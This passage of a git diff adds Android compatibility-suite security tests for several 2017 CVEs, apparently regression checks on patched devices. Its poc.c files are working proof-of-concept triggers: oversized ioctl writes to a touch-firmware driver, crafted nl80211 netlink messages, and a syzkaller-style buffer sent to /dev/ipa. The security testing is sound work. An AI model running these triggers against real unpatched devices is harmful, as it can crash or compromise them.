+#define CAL_IOCTL_MAGIC 'a'
+
+#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
+
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+
+struct nl_sock *nl_sk;
+#define NL80211_ATTR_IFINDEX 3
+enum wlan_hdd_tm_attr {
+ WLAN_HDD_TM_ATTR_INVALID = 0,
+ WLAN_HDD_TM_ATTR_CMD = 1,
+ WLAN_HDD_TM_ATTR_DATA = 2,
+ WLAN_HDD_TM_ATTR_STREAM_ID = 3,
+ WLAN_HDD_TM_ATTR_TYPE = 4,
+ /* keep last */
+ WLAN_HDD_TM_ATTR_AFTER_LAST,
+ WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
+};
+
+enum wlan_hdd_tm_cmd {
+ WLAN_HDD_TM_CMD_WLAN_FTM = 0,
+ WLAN_HDD_TM_CMD_WLAN_HB = 1,
+};
+
+#define QCA_NL80211_VENDOR_ID 0x001374
+
+#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE 32
+#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID 1
+#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE \
+ 27
+#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE \
+ 28
+#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING 29
+#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP 30
+#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM 26
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version);
+int test(void);
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version) {
+ struct nl_msg *msg;
+ int ret = -1;
+ unsigned char dst[ETH_ALEN];
+ struct nlattr *rret;
+ struct nlattr *rret1;
+ unsigned char oper_classes[253];
+
+ unsigned char hb_params[512];
+
+ struct nl80211_sta_flag_update flags;
+ msg = nlmsg_alloc();
+ int if_index = if_nametoindex("wlan0");
+
+ genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+
+ nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
+
+ nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE);
+
+ rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
+
+ if (!rret) {
+ return 1;
+ }
+
+ nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
+ 1);
+ nla_put_u32(
+ msg,
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
+ 1);
+ nla_put_u32(
+ msg,
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
+ 1);
+ nla_put_u32(
+ msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
+ 1);
+ nla_put_u32(msg,
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
+ 0xaaaaaa9);
+
+ rret1 = nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM);
+
+ if (!rret1) {
+ return 1;
+ }
+
+ nla_nest_end(msg, rret1);
+ nla_nest_end(msg, rret);
+
+ ret = nl_send_auto_complete(nl_sk, msg);
+
+ return 0;
+}
+
+#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
+#define AID_NET_RAW 3004 /* can create raw INET sockets */
+#define AID_NET_ADMIN 3005
+
+int test() {
+ int fd = 0;
+ int i = 0;
+ int j = 0;
+ int ret = 0;
+ char *mem;
+ int family_id = 0;
+ struct audio_cal_basic *acb;
+ struct sockaddr_nl saddr;
+ int test = 0x1234;
+ if (getuid() != 0) {
+ return -1;
+ }
+
+ gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+ setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+ setuid(2000);
+
+ nl_sk = nl_socket_alloc();
+ ret = genl_connect(nl_sk);
+ if (ret != 0) {
+ return -1;
+ }
+
+ family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+#define NL80211_CMD_GET_WIPHY 1
+#define NL80211_CMD_SET_STATION 18
+
+ ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
+ return 0;
+}
+
+int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0445/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0445/Android.mk
new file mode 100644
index 0000000..7cd8622
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0445/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0445
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0445/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0445/poc.c
new file mode 100644
index 0000000..b34b328
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0445/poc.c
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define TOUCH_FWU_IOCTL_CODE (0x81)
+#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
+#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
+#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
+#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
+#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)
+
+int main(void) {
+ int fd, ret = 0, cmd;
+ char *buff;
+
+ fd = open("/dev/touch_fwu", O_RDWR);
+ if (fd == -1) {
+ return -1;
+ }
+
+ cmd = FW_FILE_SIZE;
+ ret = ioctl(fd, cmd, 0x100);
+
+ cmd = FW_FILE_REQUEST;
+ ret = ioctl(fd, cmd, 0);
+
+ buff = malloc(0x1000000);
+
+ ret = write(fd, buff, 0x100000);
+
+ close(fd);
+
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
index 6e52fa7..445754c 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
@@ -23,7 +23,7 @@
# Tag this module as a cts test artifact \
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0453/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0453/Android.mk
new file mode 100644
index 0000000..471e72e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0453/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0453
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libnl
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0453/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0453/poc.c
new file mode 100644
index 0000000..999f9d0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0453/poc.c
@@ -0,0 +1,176 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <errno.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <jni.h>
+#include <android/log.h>
+#include <sys/socket.h>
+#include <linux/netlink.h>
+#include <linux/genetlink.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <dirent.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/ioctl.h>
+#include <net/if.h>
+#include <sys/types.h>
+#include <netlink/msg.h>
+#include <netlink/genl/genl.h>
+#include <netlink/genl/ctrl.h>
+#include <linux/nl80211.h>
+
+#define LOG_TAG "nexus6ppppp"
+#define LOG_D(...) \
+ do { \
+ __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__); \
+ printf(__VA_ARGS__); \
+ } while (0)
+
+#define MAX_MSG_SIZE 1024
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+
+#define KGSL_IOC_TYPE 0x09
+
+struct kgsl_perfcounter_query_compat {
+ unsigned int groupid;
+ unsigned int countables;
+ unsigned int count;
+ unsigned int max_counters;
+ unsigned int __pad[2];
+};
+struct kgsl_perfcounter_read_group {
+ unsigned int groupid;
+ unsigned int countable;
+ unsigned long long value;
+};
+#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
+ _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
+
+struct kgsl_perfcounter_read_compat {
+ unsigned int reads;
+ unsigned int count;
+ unsigned int __pad[2];
+};
+
+#define CAL_IOCTL_MAGIC 'a'
+
+#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
+
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+
+struct nl_sock *nl_sk;
+#define NL80211_ATTR_IFINDEX 3
+enum wlan_hdd_tm_attr {
+ WLAN_HDD_TM_ATTR_INVALID = 0,
+ WLAN_HDD_TM_ATTR_CMD = 1,
+ WLAN_HDD_TM_ATTR_DATA = 2,
+ WLAN_HDD_TM_ATTR_STREAM_ID = 3,
+ WLAN_HDD_TM_ATTR_TYPE = 4,
+ WLAN_HDD_TM_ATTR_AFTER_LAST,
+ WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
+};
+
+enum wlan_hdd_tm_cmd {
+ WLAN_HDD_TM_CMD_WLAN_FTM = 0,
+ WLAN_HDD_TM_CMD_WLAN_HB = 1,
+};
+
+int test(void);
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version);
+
+int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
+ u_int8_t genl_version) {
+ struct nl_msg *msg;
+ int ret = -1;
+ unsigned char dst[ETH_ALEN];
+ struct nlattr *rret;
+ unsigned char oper_classes[253];
+ unsigned char hb_params[800];
+
+ struct nl80211_sta_flag_update flags;
+
+ msg = nlmsg_alloc();
+ int if_index = if_nametoindex("wlan0");
+
+ genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+ nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+ rret = nla_nest_start(msg, NL80211_ATTR_TESTDATA);
+
+ if (!rret) {
+ return 1;
+ }
+
+ nla_put_u32(msg, WLAN_HDD_TM_ATTR_CMD, WLAN_HDD_TM_CMD_WLAN_HB);
+
+ nla_put(msg, WLAN_HDD_TM_ATTR_DATA, sizeof(hb_params), &hb_params);
+
+ nla_nest_end(msg, rret);
+
+ ret = nl_send_auto_complete(nl_sk, msg);
+
+ return 0;
+}
+
+#define AID_INET 3003
+#define AID_NET_RAW 3004
+#define AID_NET_ADMIN 3005
+
+int test() {
+ int fd = 0;
+ int i = 0;
+ int j = 0;
+ int ret = 0;
+ char *mem;
+ int family_id = 0;
+ struct audio_cal_basic *acb;
+ struct sockaddr_nl saddr;
+ int test = 0x1234;
+ if (getuid() != 0) {
+ return -1;
+ }
+
+ gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+ setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+ setuid(2000);
+
+ nl_sk = nl_socket_alloc();
+ ret = genl_connect(nl_sk);
+ if (ret != 0) {
+ return -1;
+ }
+
+ family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+#define NL80211_CMD_GET_WIPHY 1
+#define NL80211_CMD_SET_STATION 18
+
+ ret = send_testmode(family_id, getpid(), NL80211_CMD_TESTMODE, 1);
+ return 0;
+}
+
+int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0456/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0456/Android.mk
new file mode 100644
index 0000000..75cbb98
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0456/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0456
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0456/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0456/poc.c
new file mode 100644
index 0000000..f5c0094
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0456/poc.c
@@ -0,0 +1,564 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <fcntl.h>
+#include <linux/ion.h>
+#include <pthread.h>
+#include <stdint.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define IPA_IOC_ADD_FLT_RULE 0xc008cf04ul
+
+int main() {
+ int fd;
+
+ fd = open("/dev/ipa", 0x0ul);
+
+ mmap((void *)0x20000000ul, 0xb000ul, 0x3ul, 0x32ul, (int)0xfffffffffffffffful,
+ 0x0ul);
+ memcpy((void *)0x20000ff8, "\x2f\x64\x65\x76\x2f\x69\x70\x61\x00", 9);
+
+ *(uint8_t *)0x20002924 = (uint8_t)0x4;
+ *(uint32_t *)0x20002928 = (uint32_t)0x1;
+ *(uint32_t *)0x2000292c = (uint32_t)0x25;
+ *(uint8_t *)0x20002930 = (uint8_t)0xaf;
+ *(uint8_t *)0x20002931 = (uint8_t)0x5;
+ *(uint8_t *)0x20002934 = (uint8_t)0x3ff;
+ *(uint8_t *)0x20002935 = (uint8_t)0x3000;
+ *(uint32_t *)0x20002938 = (uint32_t)0x0;
+ *(uint32_t *)0x2000293c = (uint32_t)0x100000001;
+ *(uint32_t *)0x20002940 = (uint32_t)0xfff;
+ *(uint16_t *)0x20002944 = (uint16_t)0x10001;
+ *(uint16_t *)0x20002946 = (uint16_t)0x0;
+ *(uint16_t *)0x20002948 = (uint16_t)0x200;
+ *(uint16_t *)0x2000294a = (uint16_t)0x6;
+ *(uint8_t *)0x2000294c = (uint8_t)0x1ff;
+ *(uint8_t *)0x2000294d = (uint8_t)0x0;
+ *(uint8_t *)0x2000294e = (uint8_t)0x4;
+ *(uint8_t *)0x2000294f = (uint8_t)0x4;
+ *(uint32_t *)0x20002950 = (uint32_t)0x4;
+ *(uint16_t *)0x20002954 = (uint16_t)0x4;
+ *(uint16_t *)0x20002956 = (uint16_t)0x5;
+ *(uint32_t *)0x20002958 = (uint32_t)0xe1;
+ *(uint32_t *)0x2000295c = (uint32_t)0x2c3d1303cb45d134;
+ memcpy((void *)0x20002960, "\x85\x76\xe8\x3d\x34\x34", 6);
+ memcpy((void *)0x20002966, "\xc0\x65\x2e\x65\xde\x90", 6);
+ memcpy((void *)0x2000296c, "\x7f\x81\xef\x40\x5f\xa4", 6);
+ memcpy((void *)0x20002972, "\x14\xe8\xa5\x6c\x59\xf3", 6);
+ *(uint16_t *)0x20002978 = (uint16_t)0x7f;
+ *(uint8_t *)0x2000297a = (uint8_t)0x5;
+ *(uint32_t *)0x2000297c = (uint32_t)0x1;
+ *(uint8_t *)0x20002980 = (uint8_t)0x0;
+ *(uint32_t *)0x20002984 = (uint32_t)0x43;
+ *(uint32_t *)0x20002988 = (uint32_t)0x7fff;
+ *(uint32_t *)0x2000298c = (uint32_t)0x1;
+ *(uint32_t *)0x20002990 = (uint32_t)0xb2;
+ *(uint32_t *)0x20002994 = (uint32_t)0x4;
+ *(uint32_t *)0x20002998 = (uint32_t)0x0;
+ *(uint32_t *)0x2000299c = (uint32_t)0x80000000;
+ *(uint32_t *)0x200029a0 = (uint32_t)0x8;
+ *(uint32_t *)0x200029a4 = (uint32_t)0x4;
+ *(uint32_t *)0x200029a8 = (uint32_t)0xab;
+ *(uint32_t *)0x200029ac = (uint32_t)0x1;
+ *(uint32_t *)0x200029b0 = (uint32_t)0x101;
+ *(uint32_t *)0x200029b4 = (uint32_t)0x2;
+ *(uint32_t *)0x200029b8 = (uint32_t)0x170fdfa21d6c58f8;
+ *(uint32_t *)0x200029bc = (uint32_t)0x3dd2;
+ *(uint32_t *)0x200029c0 = (uint32_t)0x4;
+ *(uint16_t *)0x200029c4 = (uint16_t)0xafa1;
+ *(uint8_t *)0x200029c6 = (uint8_t)0x8;
+ *(uint8_t *)0x200029c7 = (uint8_t)0x7;
+ *(uint8_t *)0x200029c8 = (uint8_t)0x80000000;
+ *(uint8_t *)0x200029c9 = (uint8_t)0x100;
+ *(uint8_t *)0x200029ca = (uint8_t)0x7;
+ *(uint8_t *)0x200029cc = (uint8_t)0x6;
+ *(uint16_t *)0x200029ce = (uint16_t)0xbc1;
+ *(uint16_t *)0x200029d0 = (uint16_t)0x7f;
+ *(uint8_t *)0x200029d2 = (uint8_t)0x1;
+ *(uint16_t *)0x200029d4 = (uint16_t)0x8001;
+ *(uint16_t *)0x200029d6 = (uint16_t)0x0;
+ *(uint8_t *)0x200029d8 = (uint8_t)0x7;
+ *(uint8_t *)0x200029dc = (uint8_t)0x10000;
+ *(uint32_t *)0x200029e0 = (uint32_t)0x1f;
+ *(uint32_t *)0x200029e4 = (uint32_t)0x8001;
+ *(uint8_t *)0x200029e8 = (uint8_t)0x1;
+ *(uint32_t *)0x200029ec = (uint32_t)0x20;
+ *(uint32_t *)0x200029f0 = (uint32_t)0x96df;
+ *(uint8_t *)0x200029f4 = (uint8_t)0x3ff;
+ *(uint8_t *)0x200029f5 = (uint8_t)0x0;
+ *(uint8_t *)0x200029f6 = (uint8_t)0x34ee;
+ *(uint32_t *)0x200029f8 = (uint32_t)0x7e;
+ *(uint8_t *)0x200029fc = (uint8_t)0x9;
+ *(uint8_t *)0x200029fe = (uint8_t)0x3000000000;
+ *(uint16_t *)0x20002a00 = (uint16_t)0xf43e;
+ *(uint8_t *)0x20002a02 = (uint8_t)0x200;
+ *(uint8_t *)0x20002a04 = (uint8_t)0x9;
+ *(uint32_t *)0x20002a08 = (uint32_t)0x7ff;
+ *(uint8_t *)0x20002a0c = (uint8_t)0x7;
+ *(uint8_t *)0x20002a10 = (uint8_t)0x2;
+ *(uint32_t *)0x20002a14 = (uint32_t)0xe214;
+ *(uint32_t *)0x20002a18 = (uint32_t)0x8;
+ *(uint8_t *)0x20002a1c = (uint8_t)0x4b;
+ *(uint32_t *)0x20002a20 = (uint32_t)0x0;
+ *(uint32_t *)0x20002a24 = (uint32_t)0x1;
+ *(uint8_t *)0x20002a28 = (uint8_t)0x7;
+ *(uint8_t *)0x20002a29 = (uint8_t)0xffffffffffffff00;
+ memcpy((void *)0x20002a2a,
+ "\xfc\x27\xac\xe4\x96\x49\xb2\xf6\x0d\xbd\x51\x62\x5a\x6b\x3f\xda",
+ 16);
+ memcpy((void *)0x20002a3a,
+ "\x19\x98\xc7\x34\xad\x27\x47\x85\xf1\xc7\x03\x87\xa2\x78\xba\x90",
+ 16);
+ *(uint8_t *)0x20002a4a = (uint8_t)0x5;
+ memcpy((void *)0x20002a4b,
+ "\xf7\xfe\x5a\x93\x7e\x57\x1f\xd9\x22\x2a\xe9\xd3\x26\x97\xde\x2f",
+ 16);
+ memcpy((void *)0x20002a5b,
+ "\xbc\xe1\x51\xd0\xba\x84\x15\xd0\x52\x62\x42\x02\x20\x30\x08\xeb",
+ 16);
+ *(uint8_t *)0x20002a6b = (uint8_t)0x0;
+ *(uint8_t *)0x20002a6c = (uint8_t)0x2;
+ *(uint32_t *)0x20002a70 = (uint32_t)0x1;
+ *(uint32_t *)0x20002a74 = (uint32_t)0x0;
+ *(uint8_t *)0x20002a78 = (uint8_t)0x7;
+ *(uint32_t *)0x20002a7c = (uint32_t)0x7;
+ *(uint8_t *)0x20002a80 = (uint8_t)0x6;
+ *(uint8_t *)0x20002a84 = (uint8_t)0x3f;
+ *(uint32_t *)0x20002a88 = (uint32_t)0xa952;
+ *(uint32_t *)0x20002a8c = (uint32_t)0x5;
+ *(uint8_t *)0x20002a90 = (uint8_t)0x8000;
+ *(uint8_t *)0x20002a91 = (uint8_t)0x400;
+ *(uint32_t *)0x20002a94 = (uint32_t)0x0;
+ *(uint32_t *)0x20002a98 = (uint32_t)0xffff;
+ *(uint32_t *)0x20002a9c = (uint32_t)0x3;
+ *(uint16_t *)0x20002aa0 = (uint16_t)0x2400000000000;
+ *(uint16_t *)0x20002aa2 = (uint16_t)0x7fff;
+ *(uint16_t *)0x20002aa4 = (uint16_t)0x100000000;
+ *(uint16_t *)0x20002aa6 = (uint16_t)0xffffffffffffff68;
+ *(uint8_t *)0x20002aa8 = (uint8_t)0x7621;
+ *(uint8_t *)0x20002aa9 = (uint8_t)0x99;
+ *(uint8_t *)0x20002aaa = (uint8_t)0xefc3;
+ *(uint8_t *)0x20002aab = (uint8_t)0x7fff;
+ *(uint32_t *)0x20002aac = (uint32_t)0x1a845927;
+ *(uint16_t *)0x20002ab0 = (uint16_t)0xffffffffffffff01;
+ *(uint16_t *)0x20002ab2 = (uint16_t)0x4;
+ *(uint32_t *)0x20002ab4 = (uint32_t)0x3;
+ *(uint32_t *)0x20002ab8 = (uint32_t)0x8;
+ memcpy((void *)0x20002abc, "\xec\x77\x0a\x15\x35\xad", 6);
+ memcpy((void *)0x20002ac2, "\x50\x7a\x5c\x89\xda\x6d", 6);
+ memcpy((void *)0x20002ac8, "\x97\x95\x20\x35\x09\xee", 6);
+ memcpy((void *)0x20002ace, "\xd7\x6a\x47\xf0\xb1\x5a", 6);
+ *(uint16_t *)0x20002ad4 = (uint16_t)0x100000000000000;
+ *(uint8_t *)0x20002ad6 = (uint8_t)0xa000000000;
+ *(uint32_t *)0x20002ad8 = (uint32_t)0x40;
+ *(uint8_t *)0x20002adc = (uint8_t)0x20;
+ *(uint32_t *)0x20002ae0 = (uint32_t)0x0;
+ *(uint32_t *)0x20002ae4 = (uint32_t)0x0;
+ *(uint32_t *)0x20002ae8 = (uint32_t)0x6;
+ *(uint32_t *)0x20002aec = (uint32_t)0x8;
+ *(uint32_t *)0x20002af0 = (uint32_t)0x6;
+ *(uint32_t *)0x20002af4 = (uint32_t)0x0;
